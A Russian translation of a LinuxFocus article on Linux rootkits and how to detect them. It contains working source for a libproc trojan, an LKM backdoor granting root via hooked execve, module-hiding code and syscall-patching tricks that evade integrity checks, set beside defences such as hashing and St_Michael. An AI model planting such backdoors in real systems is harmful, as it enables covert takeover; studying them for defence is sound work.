original in fr Frédéric Raynal aka Pappy
fr to en Georges Tarbouriech
en to ru Kolobynin Alexey
Frédéric Raynal получил степень доктора компьютерных наук после опубликования диссертации о методах сокрытия информации. Он - главный редактор французского журнала MISC, посвященного компьютерной безопасности. Кстати, он ищет работу в научно-исследовательских и опытно-конструкторских проектах.
Данная статья была впервые опубликована в специальном выпуске
Linux Magazine France, посвященном безопасности. Редактор, авторы
и переводчики любезно разрешили опубликовать все статьи из этого выпуска
на LinuxFocus. Соответственно, LinuxFocus выпустит их сразу же, как они будут
переведены на английский. Спасибо всем, кто участвует в этой работе.
Данный обзор будет повторяться в каждой статье из этой серии.
В статье рассматриваются различные действия, которые может предпринять взломщик после успешного проникновения на машину. Также мы обсудим, что может сделать администратор для обнаружения взлома.
Предположим, что взломщик сумел проникнуть в систему, каким способом - нам не важно. Мы полагаем, что у него есть все привилегии (администратор, root, ...) на данной машине. В этом случае доверять системе становиться бессмысленно, даже если все утилиты, кажется, говорят нам, что все в порядке. Взломщик все подчистил в логах... фактически он уютно утроился в вашей системе.
Его первая задача - действовать как можно более осторожно, чтобы администратор не смог заметить его присутствия. Затем, он устанавливает все программы, которые будут ему нужны для достижения целей. Понятно, что если он хочет просто уничтожить все данные, то не будет столь аккуратным.
Очевидно, что администратор не может постоянно быть подключенным к машине и прослушивать
каждое соединение. Тем не менее, он должен обнаружить вторжение как можно раньше.
Взломанная система становится базой для программ взломщика (IRC бот, DDOS, ...).
Например, используя снифер, он может просматривать все сетевые пакеты. Многие протоколы
не шифруют данные и пароли (например, telnet
, rlogin
, pop3
и другие). Соответственно, чем больше времени есть у взломщика, тем больше он может держать
под контролем сеть, в которой находится машина-жертва.
Как только его присутствие будет обнаружено, сразу появляется проблема: мы не знаем, что взломщик изменил в системе. Вероятно он подменил основные команды и диагностирующие утилиты, чтобы скрыть себя. Поэтому мы должны подходить к этому делу с особой тщательностью, чтобы быть уверенными, что ничего не забыли, иначе система будет взломана снова.
И последнее: какие меры должны быть предприняты? Есть две стратегии. Либо администратор переустанавливает всю систему, либо заменяет только испорченные файлы. Хотя полная установка и занимает много времени, но для того чтобы найти все измененные файлы и быть уверенным, что ничего не пропущено, нужно очень много кропотливой работы.
Какую бы стратегию вы ни выбрали, рекомендуется сделать копию измененной системы, чтобы узнать способ, которым взломщик сделал свою работу. Более того, машина могла быть использована в широкомасштабной атаке, и вы можете быть вовлечены в судебное разбирательство. В этом случае, отказ от сохранения резервной копии может быть рассмотрен как сокрытие улик, в то время как копия может вас оправдать.
Обсудим сейчас несколько различных методов, используемых для того, чтобы стать невидимым во взломанной системе, оставляя при этом за собой максимум привилегий.
Перед тем, как мы доберемся до сути, давайте определимся с терминологией:
После проникновения в систему, взломщику нужны программы обоих типов. Бэкдоры позволяют ему зайти на машину, даже если администратор сменит все пароли. Трояны обычно дают возможность оставаться незамеченным.
Сейчас нам не будет разницы данная программа является трояном или бэкдором. Нашей целью будет показать существующие методы их реализации (они очень похожи) и обнаружения.
Напоследок заметим, что большинство дистрибутивов Linux предлагают механизм
проверки подлинности (т.е. одновременную проверку целостности файлов и их
источника - например, rpm --checksig
). Настоятельно рекомендуем
воспользоваться им перед установкой программы на машину. Если вы получите измененный архив
и установите программу из него, то взломщику больше ничего не надо будет делать
В предыстории Unix не было большой проблемой обнаружить вторжение на машину:
last
показывает учетную запись(записи), которая
использовалась "злоумышленником" и место, откуда он зашел, с соответствующими
датами;
ls
показывает файлы, а ps
выводит список программ (снифер, взломщики паролей...) ;netstat
отображает активные подключения на машине;
ifconfig
указывает, находится ли сетевая карта в прослушивающем
режиме,
который позволяет сниферу получать все сетевые пакеты... С тех пор взломщики разработали средства для изменения этих команд. Как греки построили деревянного коня для вторжения в Трою, так и эти программы выглядят как старые знакомые и потому не вызывают подозрений у администратора. Однако, эти новые версии скрывают информацию, относящуюся к взломщику. Так как файлы сохранили те же временные метки, что и у других программ из той же директории, и не изменились их контрольные суммы (при помощи другого трояна), "настоящий" администратор полностью обманут.
Linux Root-Kit
(lrk
) - классика в своем виде (даже если немного староватая).
Исходно разработанный Lord Somer-ом, сегодня находится в своей пятой версии.
Есть много других руткитов, и здесь мы только обсудим возможности вышеуказанного, чтобы
дать вам представление о возможностях этих утилит.
Заменяемые команды предоставляют привилегированный доступ к системе. Чтобы тот, кто использует
эти команды, не заметил изменений, они защищены паролем (по умолчанию satori
),
он может быть задан при компиляции.
ls
, find
, locate
,
xargs
и du
не будут отображать его файлы;
ps
, top
и pidof
будут скрывать его процессы; netstat
не будет отображать нежелательные соединения, особенно демонов взломщика, таких как
bindshell
, bnc
и eggdrop
; killall
оставит выполняться его процессы;ifconfig
не покажет, что интерфейс находится в прослушивающем
режиме (обычно появляется строка "PROMISC
", если это так); crontab
не покажет его заданий;tcpd
не занесет в лог соединения, указанные в конфигурационном файле;syslogd
сделает то же, что и tcpd
.chfn
запускает оболочку с правами root, если вместо имени введен пароль руткита;chsh
запускает оболочку с правами root, если вместо имени новой оболочки введен пароль руткита;passwd
запускает оболочку с правами root, если вместо пароля введен пароль руткита;login
позволяет взломщику зайти под любым именем, если введен пароль руткита (затем
отключается ведение history); su
- то же, что и login
;inetd
устанавливает на прослушивание порта оболочку с правами root.
После подсоединения, необходимо ввести пароль руткита в первой строке;rshd
выполняет запрошенную команду с правами root-а, если вместо имени пользователя
указан пароль руткита;sshd
работает как login
, но предоставляет удаленный доступ; fix
устанавливает измененную программу, сохраняя старые временные метки и контрольную сумму;linsniffer
перехватывает пакеты, вылавливает пароли и делает кое-что еще;sniffchk
проверяет, работает ли еще снифер;wted
позволяет редактировать файл wtmp
; z2
удаляет ненужные записи из
wtmp
, utmp
и
lastlog
; Этот классический руткит устарел, так как новое поколение руткитов напрямую атакуют системное ядро. К тому же версии изменяемых программ больше не используются.
Этот вид руткитов легко обнаружить, если в системе строгая политика безопасности. Криптография, со своими хэш-функциями, дает нам нужный инструмент:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Не зная, что было изменено, он может сразу показать, что установленный
ifconfig
и ifconfig
из lrk5
- различны.
Поэтому, сразу после установки системы, необходимо сохранить хэши важных файлов (вернемся к "важным файлам" позже) в базу данных, чтобы иметь возможность как можно быстрее обнаружить любое изменение.
Эта база должна быть помещена на физически не перезаписываемый носитель (дискета, не перезаписываемый CD...). Предположим, что взломщик получил права администратора в системе. Если база данных была помещена на раздел доступный только для чтения, то ему достаточно перемонтировать раздел в режим чтения-записи, изменить базу и замонтировать раздел назад только для чтения. Если он добросовестный, то даже изменит временные метки. Поэтому в следующий раз, когда вы будете проверять целостность, вы не увидите никаких изменений. Пример показывает, что права администратора не дают нужной защиты от обновления базы данных.
При обновлении системы вы должны обновить и базу. Таким образом, если вы проверите подлинность обновлений, то позже сможете обнаружить любое нежелательное изменение.
Однако, чтобы проверить целостность системы, необходимо выполнение двух условий:
То есть, каждая проверка системы должна проводится утилитами, взятыми с другой системы (не взломанной).
Как мы видели, чтобы стать невидимым, надо многое изменить в системе. Множество команд позволяет нам узнать, существует ли файл, и каждую из них необходимо подменить. То же самое с сетевыми соединениями и текущими процессами на машине. Забыть о последних - грубая ошибка, если вы хотите вести себя осторожно.
Сегодня, чтобы уменьшить свои размеры, большинство программ используют динамические библиотеки. Самое простое решение для вышеописанной проблемы - не изменять каждую программу, а поместить нужные функции в соответствующую библиотеку.
Давайте рассмотрим пример, в котором взломщик хочет изменить время, прошедшее с момента
загрузки системы, которую только что перезапустил. Эту информацию можно получить через различные
команды, такие как uptime
, w
, top
.
Чтобы узнать, какие библиотеки нужны этим программам, используем команду
ldd
:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Не принимая во внимание libc
, попробуем найти библиотеку
libproc.so
.
Достаточно достать исходники и изменить то что нам надо. Здесь мы будем
использовать версию 2.0.7, которая находится в директории $PROCPS
.
Исходный код команды uptime
(в uptime.c
) показывает, что
мы можем найти функцию print_uptime()
(в $PROCPS/proc/whattime.c
)
и функцию uptime(double *uptime_secs, double *idle_secs)
(в $PROCPS/proc/sysinfo.c
). Давайте изменим последнюю для наших нужд:
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* на практике никогда не принимает нулевого значения */ 22: }
Добавление строк с 10 по 16 в исходную версию, изменяет результат, возвращаемый функцией.
Если переменная окружения TERM
не содержит строки "satori
",
то переменная up
увеличивается на значение пропорциональное логарифму
от настоящего времени работы системы (с такой формулой, время работы системы быстро станет
равным нескольким годам :)
Чтобы скомпилировать нашу новую библиотеку, мы добавим опции
-D_LIBROOTKIT_
и -lm
(для
log(up);
).
Если мы посмотрим при помощи ldd
библиотеки, необходимые
для программ, использующих нашу функцию uptime
, мы увидим
libm
среди них. К сожалению, это не так для программ, установленных
в системе. Использование нашей библиотеки "как есть" вызывает следующую ошибку:
[procps-2.0.7]# ldd ./uptime //скомпилирована с новой libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //оригинальная команда libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //оригинальная команда uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
Чтобы не компилировать каждую программу, достаточно указать статическое использование
математической библиотеки при создании libproc.so
:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
Таким образом, функция log()
напрямую включается в libproc.so
.
Модифицированная библиотека должна иметь те же зависимости, что и оригинальная, иначе,
программы не будут работать.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Все отлично работает. Похоже, что top
использует переменную окружения
TERM
для управления своим отображением. Лучше использовать другую переменную, для
предоставления настоящего значения.
Чтобы обнаружить изменения в динамических библиотеках можно применять тот же метод, что
обсуждался ранее. Достаточно проверить хэш. К сожалению, очень много администраторов
не вычисляют хэши для них, фокусируясь на стандартных директориях (/bin
, /sbin
, /usr/bin
,
/usr/sbin
, /etc
...), в то время как директории, содержащие
эти библиотеки, так же важны, как и стандартные.
Однако, интерес к подмене динамических библиотек основан не только на возможности изменения различных программ за один раз. Некоторые программы, предназначенные для проверки целостности, также используют такие библиотеки. Это очень опасно! На важных системах все основные программы должны быть статически скомпилированными, таким образом мы защитим их от воздействия изменений в динамических библиотеках.
Поэтому, использовавшаяся программа md5sum
, весьма опасна:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Она динамически вызывает функции из библиотеки libc
, которая может быть
изменена (проверьте nm -D `which md5sum`
). Например,
при использовании fopen()
, достаточно проверять путь к файлу,
если он совпадает с путем к взломанной программе, то надо перенаправить функцию
на оригинальную программу, которую взломщик спрячет где-нибудь в системе.
Этот простейший пример демонстрирует возможности для одурачивания тестов на целостность. Мы видели, что эти тесты должны проводиться при помощи внешних утилит, взятых с другой, не взломанной, системы (сравни с разделом о замене программ). Теперь мы выяснили, что эти утилиты бесполезны, если вызывают функции из взломанной системы.
Теперь мы можем создать аварийный набор для обнаружения взломщика:
ls
для обнаружения его файлов;ps
для конроля над процессами;netstat
для просмотра сетевых подключений;ifconfig
чтобы знать статус сетевых интерфейсов.Этот набор представляет собой минимум. Также весьма полезны и другие команды:
lsof
выводит список открытых файлов в системе;fuser
определяет процесс, использующий файл.Заметим, что они используются не только для обнаружения присутствия взломщика, но и для выявления неисправностей в работе системы.
Очевидно, что каждая программа из аварийного набора должна быть статически скомпилирована. Мы только что видели, что динамические библиотеки могут повлечь губительные последствия.
Хотеть изменить каждую программу, которая может обнаружить присутствие файла, хотеть держать под контролем каждую библиотеку - таким желаниям невозможно сбыться. Невозможно вы сказали? Не совсем.
Появилось новое поколение руткитов. Они способны поражать ядро.
Неограниченны! Как видно из названия, LKM работает в пространстве ядра, поэтому может иметь доступ и контроль над всем.
Взломщику LKM позволяет:
chroot
);Длина списка зависит от фантазии взломщика. Однако, как и против методов, которые обсуждались выше, администратор может использовать те же утилиты и написать свои модули для защиты системы в этом случае:
Как защититься от LKM? При компиляции ядра может быть отключена поддержка
модулей (ответ N в CONFIG_MODULES
), или же можно не создавать
модулей (отвечая на вопросы только Y или N). В результате вы получите, так
называемое, монолитное ядро.
Однако даже если ядро не имеет поддержки модулей, возможна загрузка некоторых из них
в память (это не так просто). Сильвио Цезаре (Silvio Cesare) написал программу kinsmod
, которая позволяет внедриться в
ядро через устройство /dev/kmem
, которое управляет памятью ядра
(читайте runtime-kernel-kmem-patching.txt на его странице).
Обобщая программирование модулей, заметим, что все зависит от двух функций
с конкретными именами: init_module()
и cleanup_module()
.
Они определяют поведение модуля. Но так как они выполняются в пространстве ядра, то
имеют доступ ко всему, что расположено в памяти ядра, например к системным вызовам или
символам.
Рассмотрим, как установить бэкдор при помощи lkm. Пользователь хочет получить
оболочку с правами root, запустив для этого только команду /etc/passwd
.
Естественно, этот файл - не команда. Однако, так как мы перехватываем системный вызов
sys_execve()
, то перенаправим его на команду /bin/sh
, позаботясь
о правах администратора для этой оболочки.
Данный модуль был протестирован на различных ядрах: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Он отлично работает с каждым. Однако с 2.2.19smp-ow1 (поддержка многопроцессорности с патчем Openwall) запуск оболочки не дает нужных привилегий. Ядро - вещь чувствительная и хрупкая, поэтому будьте осторожны... Путь к файлам соответствует обычному дереву исходных кодов ядра.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Получили:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Загружен:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Выгружен:(\n"); }
Проверим, что все работает как надо:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
После этой короткой демонстрации посмотрим на содержимое файла
/var/log/kernel
:
здесь syslogd
сконфигурирован так, чтобы сохранять каждое сообщение
ядра(kern.* /var/log/kernel
в /etc/syslogd.conf
):
[rootshell] Загружен:) [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) [rootshell] Получили:))) [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] Выгружен:(
Немного изменяя этот модуль, администратор может получить очень хорошее средство для
контроля. Все команды, выполняемые в системе, записываются в логи ядра.
Регистр regs.ecx
содержит **argv
, а
regs.edx
- **envp
, из структуры current
, которая
описывает текущую задачу, мы получим всю нужную информацию, чтобы быть в курсе, что
происходит в каждый момент времени.
Проверка на целостность теперь не позволит администратору обнаружить этот модуль (хорошо, это не совсем так, так как модуль очень простой). Поэтому проанализируем следы, которые могут оставаться от руткитов такого типа:
rootshell.o
не является невидимым в файловой системе, так
как это упрощенный модуль. Однако достаточно переопределить
sys_getdents()
, чтобы не дать обнаружить этот файл;
sys_kill()
и нового сигнала SIGINVISIBLE
, возможно
убрать доступ к нужным фалам из /proc
(см. adore
lrk);
lsmod
выдает список модулей, загруженных
в память:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]При загрузке модуль помещается в начало списка
module_list
,
который содержит все загруженные модули, а имя модуля добавляется в файл
/proc/modules
. lsmod
читает этот файл для получения информации.
Удаление модуля из module_list
приводит к исчезновению его из
/proc/modules
:
int init_module(void) { [...] if (!module_list->next) //это единственный модуль:( return -1; // Это отлично работает так как __this_module == module_list module_list = module_list->next; [...] }К сожалению, из-за этого мы не сможем удалить позже модуль из памяти, если только не сохраним где-нибудь его адрес.
/proc/ksyms
: в этом файле содержится список символов доступных
в пространстве ядра:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]Макрос
EXPORT_NO_SYMBOLS
, определенный в include/linux/module.h
,
сообщает компилятору, что ни одна функция или переменная не доступна извне модуля:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }Однако в ядрах 2.2.18, 2.2.19 et 2.4.x ( x<=3 - не знаю как для остальных) символы
__insmod_*
остаются видимыми. Удаление модуля из
module_list
также удаляет и символы, получаемые из /proc/ksyms
.
Проблемы/решения, которые мы обсудили, относятся к невидимости для пользовательских команд. "Хороший" LKM использует все эти приемы, чтобы оставаться незамеченным.
Есть два способа обнаружить такие руткиты. Первый состоит в использовании
устройства /dev/kmem
, чтобы сравнить информацию из образа памяти ядра с той, что
содержится в /proc
. Утилиты, такие как kstat
, позволяют
производить поиск в /dev/kmem
для проверки текущих системных процессов,
адресов системных вызовов... В статье Тоби Миллера (Toby Miller) Detecting Loadable Kernel Modules (LKM)
описано, как использовать kstat
для обнаружения руткитов этого типа.
Второй способ состоит в обнаружении каждой попытки изменения системной таблицы вызовов.
Модуль St_Michael
Тима Лолиса (Tim Lawless) производит такой контроль.
Во время написания статьи модуль еще находился в разработке, поэтому его описание может
измениться.
Как мы видели в предыдущем примере, lkm руткиты основаны на изменении таблицы
системных вызовов. Первое решение - сделать резервную копию этих адресов во второй таблице
и переопределить вызовы, которые управляют функциями sys_init_module()
и sys_delete_module()
. Таким образом, после загрузки каждого модуля,
можно делать проверку адресов:
/* Взято из модуля St_Michael Тима Лолиса */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Проверим, не изменилась ли таблица системных вызовов. Если она изменилась, примем меры. Мы могли бы сделать это отдельной функцией, однако зачем тратить время на вызов? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
Это решение защищает нас от современных lkm руткитов, однако оно далеко
от совершенства. Безопасность - это гонка вооружений (отчасти), и вот способ, как
обойти эту защиту. Вместо того, чтобы изменять адрес системного вызова, почему бы не
изменить сам системный вызов? Это описано Сильвио Цезаре в stealth-syscall.txt.
При атаке заменяются первые байты кода системного вызова на инструкцию
"jump &new_syscall
" (это псевдо-ассемблер):
/* Взято из stealth_syscall.c (Linux 2.0.35) Сильвио Цезаре */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
Мы защищаем свои программы и библиотеки при помощи тестов на целостность, то же
самое мы должны сделать и здесь. Мы должны хранить хэш машинного кода каждого вызова.
Мы продолжаем работать над этой реализацией в St_Michael
, изменяя
системный вызов init_module()
, это позволяет проводить тест на целостность
после загрузки каждого модуля.
Но даже и в этой ситуации, возможно обойти тест на целостность (пример из переписки между Тимом Лолисом, Mixman-ом и мной; исходный код написан Mixman-ом):
init_module()
мы изменяем первые байты
функции (в этом примере printk()
), чтобы "перескочить" из нее на
hacked_printk()
/* Взято из printk_exploit.c Mixman-а */ static unsigned char hacked = 0; /* hacked_printk() изменяет системный вызов. Затем мы вызываем "нормальный" printk(), чтобы все работало правильно. */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }Таким образом, тест на целостность, помещенный в переопределение
init_module()
,
подтверждает, что при загрузке не было изменений в таблице системных вызовов. Однако
при следующем вызове printk()
изменение произойдет...init_module()
, определяется таймер,
который сделает изменения намного позже, чем произошла загрузка модуля. Таким образом, так
как тест на целостность происходит во время загрузки (выгрузки) модуля, атака проходит незамеченной :(
/* timer_exploit.c Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Периодическая проверка может стать решением...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Добавляю таймер ядра...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Системный вызов sys_chdir() будет модифицирован через несколько секунд\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }В данный момент подходящим решением, нам кажется, будет запуск теста на целостность время от времени, а не только во время загрузки(выгрузки) модуля.
Поддержка целостности системы - вещь не простая. Хотя эти тесты и надежны, есть много способов обойти их. Единственное решение - ничему не доверять при оценивании состояния системы, особенно, когда есть подозрение, что произошло вторжение. Лучший выход - остановить систему и запустить другую("чистую") для оценки урона.
Утилиты и методы, рассмотренные в этой статье, двусторонни. Они хороши и для
взломщика и для администратора. Это видно на примере модуля rootshell
,
который также позволяет контролировать, кто что запускает.
Если тесты на целостность реализованы согласно подходящим правилам, классические руткиты легко обнаруживаются. Те, которые основаны на модулях, представляют собой новую проблему. Утилиты, которые победят их, находятся в разработке, как и сами модули, так как они еще далеки от использования своих полных возможностей. Безопасность ядра все больше и больше беспокоит людей, до такой степени, что Линус запросил модуль, ответственный за безопасность, для ядер 2.5. Такое изменение в сознании людей произошло из-за большого количества доступных патчей (Openwall, Pax, LIDS, kernelli, чтобы упомянуть малую часть из них).
В любом случае помните, что потенциально взломанная система не может проверить свою целостность. Вы не можете доверять ни ее программам, ни информации, которую она выдает.
adore
и knark
, наиболее
известные lkm руткиты;kstat
для исследования /dev/kmem
;aide
(Advanced Intrusion Detection Environment) маленькая,
но эффективная замена для tripwire
(полностью свободное программное обеспечение).